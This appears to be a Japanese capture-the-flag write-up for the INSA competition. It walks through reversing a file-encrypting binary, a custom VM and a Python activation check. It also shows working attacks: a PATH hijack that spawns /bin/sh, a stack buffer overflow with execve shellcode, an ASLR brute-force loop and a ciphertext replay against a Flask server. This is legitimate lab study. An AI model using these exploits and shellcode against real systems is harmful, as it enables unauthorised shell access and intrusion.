4033a1: e8 aa de ff ff call 401250 <fopen@plt>
0x8 を引数に 0x40327e を呼び、その返り値を fopen に渡しています。ここにブレークポイントを仕掛けて返り値が何か調べてみましょう。
$ gdb ./crypt0r.jessie
(gdb) b *0x403399
(gdb) r
(gdb) x/s $rax
0x6055e3: "crypt.me"
crypt.me
が出てきました。
引数をいろいろ変えて実行していると、3 のときにフラグが出てきました。
(gdb) call 0x40327e(3)
$1 = 6312610
(gdb) x/s $1
0x6052a2: "INSAd64f428d49e137f68198597ea46d36df"
INSAd64f428d49e137f68198597ea46d36df
暗号化されたファイルが tar 形式で 与えられました。
どのようにして暗号化に使う鍵を決めているか調べていると、以下のような処理を見つけました。
$ ltrace ./crypt0r.jessie 2>&1 | head -50
...
popen("echo $(( `date +%s` / 10 ))", "r") = 0x101b010
getline(0x7ffdc9486070, 0x7ffdc9486068, 0x101b010, 0x7ffdc9486068 <no return ...>
--- SIGCHLD (Child exited) ---
<... getline resumed> ) = 10
pclose(0x101b010) = 0
atoi(0x101b120, 0, 0, 0xfbad000c) = 0x8e45350
printf("%s :: %s\n", "src/crypt.c", "149181264\n") = 26
BN_CTX_new(0x8e45350, 0x7fffffe6, 0x7fdd4190e7a0, 25) = 0x101b1a0
BN_new(0, 0x20800, 0x101b1a0, 0x7fdd4190c620) = 0x101b1f0
BN_new(0x7fdd4190c620, 96, 0x101b1f0, 0x7fdd4190c620) = 0x101b210
BN_new(0, 0x20810, 0x101b210, 0x7fdd4190c620) = 0x101b230
BN_new(0x7fdd4190c620, 32, 0x101b230, 0x7fdd4190c620) = 0x101b010
srand(0x8e45350, 0x20000, 0x101b010, 0x7fdd4190c620) = 0
...
どうやら srand(time(NULL) / 10)
相当のことをしているようです。
tar 形式でファイルが与えられたので、暗号化されたファイルのタイムスタンプを知ることができます。date を常に暗号化された日時を返すようにして、暗号化されたときに使われた秘密鍵を得ましょう。
$ cat date
#!/bin/bash
echo 1491239658
$ PATH=. ./crypt0r.jessie
...
$ cat the-file-to-decrypt.flag | openssl rsautl -decrypt -inkey private.pem
Congratulations !
You did decrypt this file. You really should consider joining OVH since we're
looking at candidates just like you. However, here's your reward:
INSA18c21e583eb590c14278068989349ac8
INSA18c21e583eb590c14278068989349ac8
Python 3.5 辺りの pyc ファイルが与えられます。デコンパイルすると PyQt5 を使った、アクティベーションコードの入力を行うコードが出てきました。
めんどくさい処理をして入力されたアクティベーションコードのチェックをしていますが、フラグの生成には入力された文字列は使われていないようです。
直接 ActivatedWidget.finalize()
を呼ぶとフラグが出てきました。
a = ActivatedWidget()
print(a.finalize())
INSA{4ctiv4t0r_c4n_b3_byp4ss3d!K3YG3N}
lock.sgsc
という謎のフォーマットの実行ファイルと、それを実行できる sgs-exec-release
というバイナリが与えられます。
また、Secure Garden Shed V2 では SGS-ASM.txt
という、lock.sgsc
で使われている命令やレジスタのドキュメントが与えられます。
試しに実行してみると、以下のような結果になりました。
$ ./sgs-exec-release lock.sgsc
Enter pasword ([a-z]):
hoge
Sorry but the password you gave is wrong...
SGS-ASM.txt
によると EQU
という命令があり、恐らくこれを使ってパスワードのチェックを行っているはずです。
適当に sgs-exec-release
を解析すると、0x19fe 辺りでどの命令を実行するか判断し、ジャンプテーブルを使って命令ごとに処理を行っているようです。
loc_19FE:
mov eax, [ebx+90h]
mov eax, [eax+esi*4]
rol ax, 8
rol eax, 10h
rol ax, 8
mov edx, eax
shr edx, 1Ch ; instr (4 bits)
mov ecx, [ebx+edx*4-1DB8h] ; jump table (0x31e0)
add ecx, ebx
jmp ecx
ジャンプテーブルを参照すると、EQU
は 0x1e5c から処理を行っていることがわかります。
mov ecx, [ebx+88h] ; EQU
mov edx, eax
shr edx, 0Dh
mov edi, edx
loc_1E69:
test eax, 4000000h
jnz loc_1F9C
and edi, 1000h
loc_1E7A:
cmp edi, 1
sbb edi, edi
and edi, 2
dec edi
and edx, 0FFFh
imul edx, edi
test eax, 8000000h
jz loc_1FCF
loc_1E97:
and eax, 1FFFh
mov ebp, eax
movzx edi, byte ptr [ecx+eax+3]
shl edi, 18h
movzx eax, byte ptr [ecx+eax+2]
shl eax, 10h
or edi, eax
movzx eax, byte ptr [ecx+ebp]
or edi, eax
movzx eax, byte ptr [ecx+ebp+1]
shl eax, 8
or eax, edi
xor edx, eax
xor eax, eax
test dl, dl
setz al
mov [ecx+4], eax
jmp exec_instr_0x1a70
0x1ec0 にブレークポイントを仕掛けて eax を見るとパスワードが 1 文字ずつ分かりました。
(gdb) b *0x80001ec0
(gdb) r lock.sgsc
Enter pasword ([a-z]):
hogefuga
Breakpoint 1, 0x80001ec0 in ?? ()
(gdb) p/c $eax
$1 = 116 't'
...
$3 = 104 'h'
...
$5 = 105 'i'
...
$7 = 115 's'
...
パスワードは thisisastrongpassphrasebecauseitisreallylongandrandomattheenduoiiencger
でした。
$ ./sgs-exec-release lock.sgsc
Enter pasword ([a-z]):
thisisastrongpassphrasebecauseitisreallylongandrandomattheenduoiiencger
Well done! Here is your flag: INSA{Cust0m_15_N0t_S0_E4sy_t0_R3v3rs3_;)}
INSA{Cust0m_15_N0t_S0_E4sy_t0_R3v3rs3_;)}
Secure Garden Shed V1 のバイナリとの差異を確認してみると、V1 のジャンプテーブル上では NOP
と同じだった AFT.B
が実装されていることが分かります。
$ xxd aft-b.sgsc
0000000: 2e53 4753 452e 636f 6465 7000 0000 2e64 .SGSE.codep....d
0000010: 6174 61 ata
$ ./sgs-exec-release-p aft-b.sgsc
INSA{34573R_3995_4r3_s0_NUF!}
INSA{34573R_3995_4r3_s0_NUF!}
#include <stdio.h>
void main()
{
printf("The content of the current folder is : \n");
system("ls -l");
}
というソースが与えられます。ls を差し替えてしまいましょう。
$ mkdir /tmp/haifuri
$ cd /tmp/haifuri
$ cat ls.c
#include <stdlib.h>
int main(void) {
system("/bin/sh");
return 0;
}
$ gcc ls.c -o ls
$ cd
$ PATH=/tmp/haifuri ./vuln
$ /bin/cat flag
INSA{SySt3m_1s_3v1l_-}
INSA{SySt3m_1s_3v1l_-}
./vuln $(python -c "import struct; print 'A' * 268 + struct.pack('<I', 0xbffffa00 + 272) + '\x90' * 0x100 + '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'")
INSA{1_l0v3_BuFF3|2_Ov3r}
for i in {1..1000}; do ./vuln $(python -c "import struct; shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'; print '\x90' * (2012 - len(shellcode)) + shellcode + struct.pack('<I', 0xbff97580); done
INSA{BuFF3|2_aG4IN_ASLR-}
16777216 ビットの公開鍵を持つ RSA でした。暗号文の 65537 乗根を計算するとフラグが得られました。
import gmpy2
import rsa_16m
x = gmpy2.iroot(rsa_16m.c, 65537)
print hex(x[0])[2:].decode('hex')
INSA{(I)NSA_W0uld_bE_pr0uD}
#!flask/bin/python
from flask import Flask
from flask import jsonify
from flask import request
from Crypto.Cipher import AES
import base64
import boulicoin
import json
app = Flask(__name__)
def pad(data):
length = 16 - (len(data) % 16)
data += chr(length)*length
return data
def unpad(data):
assert data[-ord(data[-1]):]==ord(data[-1])*data[-1]
return data[:-ord(data[-1])]
def encrypt(data):
aes=AES.new(boulicoin.SECRET_KEY, AES.MODE_CBC, boulicoin.AES_IV)
return base64.b64encode(aes.encrypt(pad(str(data))))
def decrypt(data):
aes=AES.new(boulicoin.SECRET_KEY, AES.MODE_CBC, boulicoin.AES_IV)
return unpad(aes.decrypt(base64.b64decode(data)))
@app.route('/task')
def getTask():
items,size,scoreMin = boulicoin.generateTask()
itemsEnc = encrypt(items)
sizeEnc = encrypt(size)
scoreMinEnc = encrypt(scoreMin)
return jsonify({'items':items,
'size':size,
'scoreMin':scoreMin,
'itemsEnc':itemsEnc,
'sizeEnc':sizeEnc,
'scoreMinEnc':scoreMinEnc})
@app.route('/coin', methods=['POST'])
def getCoin():
req=request.json
if ('itemsEnc' not in req) or ('sizeEnc' not in req) or ('scoreMinEnc' not in req) or ('selected' not in req):
return jsonify({'status':'error','message':'JSON attributes missing'})
items=[]
size=-1
try:
items=json.loads(decrypt(req['itemsEnc']))
size=int(decrypt(req['sizeEnc']))
scoreMin=int(decrypt(req['scoreMinEnc']))
selected=req['selected']
assert type(selected)==type([])
assert len(set(selected))==len(selected)
except:
return jsonify({'status':'error','message':'Failed to decode data.'})
score=0
weight=0
try:
for it in selected:
if it<0 or it>=len(items):
return jsonify({'status':'error','message':'Invalid item index.'})
score+=items[it][0]
weight+=items[it][1]
except:
return jsonify({'status':'error','message':'Invalid proof of work.'})
if score>=scoreMin and weight<=size:
coin=boulicoin.generateCoin()
assert coin.startswith('INSA{')
return jsonify({'status':'success','boulicoin':coin})
return jsonify({'status':'error','message':'Invalid proof of work.'})
if __name__ == '__main__':
app.run(debug=True)
というようなソースが与えられます。
何度か試して size、sizeEnc、scoreMin、scoreMinEnc を集めて、本番では有利な条件に差し替えて解いてしまいましょう。
INSA{Th3_futur3_i5_iN_MaurinC0in}
時間内には解けませんでしたが、終わってからすぐ解けたのでとりあえず。
HTCPCP のクライアントを書く問題でした。
import requests
import time
url = 'https://coffee.insecurity-insa.fr/coffee'
auth = ('Coffee_Machine', 'Coffee_Password')
headers = {
'Content-Type': 'message/coffeepot',
'milk-type': 'Half-and-half',
'syrup-type': 'Raspberry'
}
def debug(req):
print(req.headers)
print(req.cookies)
print(req.content.decode('ascii'))
print('=' * 25)
r = requests.request('PROPFIND', url, auth=auth, headers=headers)
debug(r)
r = requests.request('BREW', url, auth=auth, headers=headers, data=b'info')
cookies = r.cookies
debug(r)
r = requests.request('BREW', url, auth=auth, headers=headers, data=b'start')
cookies = r.cookies
debug(r)
time.sleep(16)
r = requests.request('BREW', url, auth=auth, cookies=cookies, headers=headers, data=b'stop')
cookies = r.cookies
debug(r)
r = requests.request('BREW', url, auth=auth, cookies=cookies, headers=headers, data=b'milk')
cookies = r.cookies
debug(r)
time.sleep(4)
r = requests.request('WHEN', url, auth=auth, cookies=cookies, headers=headers)
cookies = r.cookies
debug(r)
r = requests.request('GET', url, auth=auth, cookies=cookies, headers=headers)
cookies = r.cookies
debug(r)
INSA{April_Fool_of_Coffee_Machine}